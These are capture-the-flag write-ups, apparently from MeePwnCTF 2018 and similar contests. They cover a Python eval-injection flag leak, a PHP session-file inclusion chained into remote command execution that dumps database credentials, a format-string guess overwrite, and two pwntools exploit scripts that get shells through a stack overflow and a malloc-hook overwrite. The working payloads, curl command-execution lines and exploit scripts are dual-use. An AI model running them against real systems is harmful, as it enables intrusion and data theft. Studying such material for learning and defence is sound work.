• PyCalX was part of the MeePwnCTF Quals 2018 and consists of a webpage with 3 inputs, a value, an operator and a second value.

The code for the challenge is visible on the page when source is in the GET-arguments. There is a link for that directly on the page.

The values and operation are used inside an eval statement, which very clearly is the target of our attack.

## Filtered input

Having a look around we’ll see that values and the operator are filtered in a few ways.

If a value contains only digits it’s casted as integer, if it’s a string there is a blacklist for things like brackets and quotes. Furthermore instead of the string directly a repr of it (containing single-quotes which we can’t easily break) is used.

The operator is limited to 2 characters and the first has to be one of +-/*=!.

## Exploit

We can freely control the second character of the operator, so let’s make it +', that way the second value will be evaluated as code and an empty string will be appended to the first value.

Using a second value like +source+FLAG < value1+source+source# (using the comment-character to ignore the last ' in the eval) gives us an evaluated command that effectively is equivilant to 'whatever'+''+'Mee'+'MeePwnCTF{...}' < 'whatever'+'Mee'+'Mee' (for source=Mee).

Python considers a string “bigger” than another if there is a difference between them and the first mismatching character is bigger (in ascii) than in the comparison.

With the example Mee would be False, but Mef is True.

That made it very easy to use a binary search, making this process really quick.

In the end we get the (annoyingly confusing) flag: MeePwnCTF{python3.66666666666666_([_((you_passed_this?]]]]]])}

• Mapl Story was part of the MeePwnCTF Quals 2018 and consists of a webpage where you can name a “character” and train a pet a command. You get the code but the config is censored.

## Have a look around

First of let’s create an account, e.g. foobar@example.org/foobar123, set any name, we’ll change that later.

Sign in and have a look at your cookies, you’ll see your PHPSESSID and a _role. _role is generated using either sha256("admin".$salt) or (in this case) sha256("user".$salt). We need the salt to continue here.

Have a look around the few pages on the site. The game page is completely irrelevant, just a gimmick.

## File inclusion vulnerability

There is a file inclusion vulnerability in index.php, so have a look at e.g. /index.php?page=/etc/group. Unfortunately it uses a GET variable which is heavily escaped so for now there isn’t really much we can directly do with this bug.

## Let’s get salty

Let’s have a look at /index.php?page=/var/lib/php/sessions/sess_PHPSESSID (replace PHPSESSID).

## Choose a new name

Well, if you looked carefully at the session file you would have noticed the clear-text action part, which contains the last logged line. There is one log-line in the code-base which we can control, when giving a player a pet the log will contain the character name at the end.

I think <?=include"$_COOKIE[0] is a beautiful name, don’t you think? So what does this do?… It allows us to include files using a cookie named 0. Since cookies are not filtered inside the script we now have full control over the file inclusion. ## Execute your first command Now that everything is prepared we need a final way to execute the base64-encoded php code we trained our pet earlier, but that’s really simple, PHP actually has a built-in helper for that: php://filter/convert.base64-decode/resource=path/to/file. In case of foobar@example.org (considering the upload path mentioned before) a command-execution now looks like this: Ξ ~ → curl 'http://mapl.story/?page=/var/lib/php/sessions/sess_0qlekg08c8pah3rcftjraeon24&1=ls' -H 'Cookie: 0=php://filter/convert.base64-decode/resource=upload/56cea464131b6903185abfe3d6103385/command.txt' character_name|s:96:"d1f197d11ed6b3d29f08a9893429eb2bfa19e4543ff1d33bf19c5a89aec19b45080a355c37b4654ec2a5813f81dbe98b";user|s:96:"917467323f3a8e09ab1c2a2d7e3dc3ac85c0c4f08622b7e10a4ec4a18ad36e9919326131b516d9053ee8980a1230ad0e";action|s:65:"[02:27:52am GMT+7] gave blackpig to player admin.php assets character.php dbconnect.php die.php game.php home.php index.php login.php logout.php mapl_library.php register.php setting.php style.css upload 1  ## Attack! From there we can take a look at dbconnect.php (&1=cat%20dbconnect.php) and we’ll find the mysql username and password: define('DBUSER', 'mapl_story_user'); define('DBPASS', 'tsu_tsu_tsu_tsu'); define('DBNAME', 'mapl_story');  Now let’s see what’s in the mapl_config table that is mentioned a few times in the script (it should at least contain the encryption key): curl 'http://mapl.story/?page=/var/lib/php/sessions/sess_0qlekg08c8pah3rcftjraeon24&1=echo%20%27SELECT%20%2A%20FROM%20mapl_config%3B%27|%20mysql%20-umapl_story_user%20-ptsu_tsu_tsu_tsu%20mapl_story' -H 'Cookie: 0=php://filter/convert.base64-decode/resource=upload/56cea464131b6903185abfe3d6103385/command.txt' character_name|s:96:"d1f197d11ed6b3d29f08a9893429eb2bfa19e4543ff1d33bf19c5a89aec19b45080a355c37b4654ec2a5813f81dbe98b";user|s:96:"917467323f3a8e09ab1c2a2d7e3dc3ac85c0c4f08622b7e10a4ec4a18ad36e9919326131b516d9053ee8980a1230ad0e";action|s:65:"[02:27:52am GMT+7] gave blackpig to player mapl_salt mapl_key mapl_now_get_your_flag ms_g00d_0ld_g4m3 You_Never_Guess_This_Tsug0d_1337 MeePwnCTF{__Abus1ng_SessioN_Is_AlwAys_C00L_1337!___} 1  There we go, we got our flag MeePwnCTF{__Abus1ng_SessioN_Is_AlwAys_C00L_1337!___} :) • We got some 32 bit binary with the following metalogic: int secret = gettruerandomnum() & 0x10decafe; char *username = readusername(); int guess = readguess(); logattempt(username, guess); sleep(3); if (guess == secret) system("/bin/sh"); exit(0);  long story short, in the logattempt function we had a formatstring vulnerability. But we could not overwrite the secret with %n as there was no pointer to it on the stack. Also there was a small size limit for the formatstring to do anything else. The only interesting thing we could overwrite was our own guess. If we open up the man(3) page of printf we see an example for the usage of a variable argument printf("%2$*1$d", width, num);. It will print num in decimal format padded by whitespaces so it reaches the length num. Now thats something we could use. We just print something and use the secret as a padding. Then we can write the number of written bytes (correct secret) into our guess. Finally we get some payload like this %26$*26$d%15$n.

• We got a libc and an ip:port. It asks for a name, echos it, and the asks us what it can help us with. Then it exits. The name echoing has a formatstring vuln, the second input has a buffer overflow. There is a stack canary, the binary is 32 bit. As libc is already given exploitation is a piece of cake.

I first dumped the stack till __libc_start_main_ret (reconnecting everytime). Knowing the static offset I could now retrieve libc base reliable with %291$p. In the stackdump I already saw something what looked like a stack canary, I confirmed this by writing one byte inside it which caused a sigsegv. So by %267$p I could retrieve the canary. Now we know everything for successfull exploitation. In the first step we leak libc and canary, in the second step we overwrite the ret pointer with system and place “/bin/sh” as the first argument on the stack. Done.

r = remote("52.210.10.146", 6666)
r.recvuntil("Welcome! What is your name?")
r.sendline("%291$p_%267$p")
r.recvuntil("Hello ")
res = r.recvuntil("What")[:-4].strip().split("_")

libcbase = int(res[0], 16) - 0x18e81
canary = int(res[1], 16)

log.info("libcbase 0x{:x}".format(libcbase))
r.sendline("A" * 1024 + struct.pack("<IIIIIII", canary, 0, 0, 0, libcbase + 0x3cd10, 0, libcbase + 0x17b8cf))
r.interactive()

• Binary (64 Bit) and libc provided. Actually I dont know what the binary really does (it was late), it somehow messes with the heap and stack. But lets begin with it’s functionality, it just reverses a string. As there was a malloc and free involved I was exited, expecting some heap exploitation. So I just played around and “reversed” two large strings and wanted to look at the result. Aaaand it crashed when I tried to enter the second string because it wanted to write the input at 0x4141414141414141. Uh well I don’t know whats going on but that was an easy write anything anywhere primitive. Also it was possible to leak a libc base because the buffer was not cleared before use. We now have everything we need for pwn. The idea is as follows:

• leak libc base
• do magic by writing large input and let the next read write to malloc hook
• overwrite malloc hook with one gadget
• malloc gets called, we get a shell

To meet the one gadget constraints I used zerobytes instead of the good old As.

from pwn import *

r = remote("34.247.227.162", 12345)

def act(data):
r.sendline(data)
r.recvuntil("reverse: ")
res = r.recvuntil("input: ")[:-7][::-1]
return res

def sploit():
libc = struct.unpack("<Q", act("A" * 8)[10:].ljust(8, '\x00'))[0] - 0x3c5620
log.info("libc {:x}".format(libc))
arr = [0] * 0x80
arr[19] = libc + 0x3c67a8
act(struct.pack("<" + "Q" * len(arr), *arr))
r.send(struct.pack("<Q", libc + 0xf02a4))
r.interactive()

if __name__ == '__main__':
r.recvuntil("input: ")
sploit()